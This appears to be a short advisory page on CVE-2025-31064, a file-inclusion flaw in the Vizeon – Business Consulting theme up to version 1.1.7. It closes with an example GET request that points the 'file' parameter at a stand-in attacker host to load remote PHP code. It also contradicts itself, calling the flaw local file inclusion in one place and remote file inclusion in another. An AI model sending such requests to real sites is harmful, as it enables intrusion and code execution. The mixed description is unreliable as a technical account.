Overview
The cybersecurity landscape is fraught with vulnerabilities that could potentially compromise critical systems and expose sensitive data. One such vulnerability, identified as CVE-2025-31064, presents a significant threat to users of gavias’ Vizeon – Business Consulting platform. This vulnerability arises due to an improper control of filename for the Include/Require statement in the platform’s PHP program. If exploited successfully, it could lead to a PHP Local File Inclusion, jeopardizing the security of the system and risking data leakages.
This vulnerability is of high significance considering its potential for system compromise, and its severity is reflected in its CVSS Severity Score of 8.1. Therefore, it’s crucial for users of the affected versions of Vizeon – Business Consulting platform to understand the extent of this vulnerability and take necessary steps for mitigation.
Vulnerability Summary
CVE ID: CVE-2025-31064
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Vizeon – Business Consulting | up to and including 1.1.7
How the Exploit Works
The vulnerability, CVE-2025-31064, stems from an improper control of filename for Include/Require statement in PHP program in the Vizeon – Business Consulting platform. This flaw allows an attacker to manipulate the filename that’s included or required by a PHP script. As a result, an attacker can force the platform to include a file from a remote server that contains malicious PHP code, leading to a PHP Remote File Inclusion (RFI). If successful, the attacker could execute arbitrary code on the affected system, compromising its integrity and confidentiality.
Conceptual Example Code
Here is a
conceptual
example of how this vulnerability might be exploited. This is a hypothetical HTTP request that an attacker might use:
GET /vizeon/include.php?file=http://attacker.com/malicious_code.php HTTP/1.1
Host: target.example.comIn this example, the attacker manipulates the ‘file’ parameter to include a PHP file from their server (‘attacker.com’) that contains malicious code. If the platform is vulnerable, it would execute the malicious PHP code, compromising the system.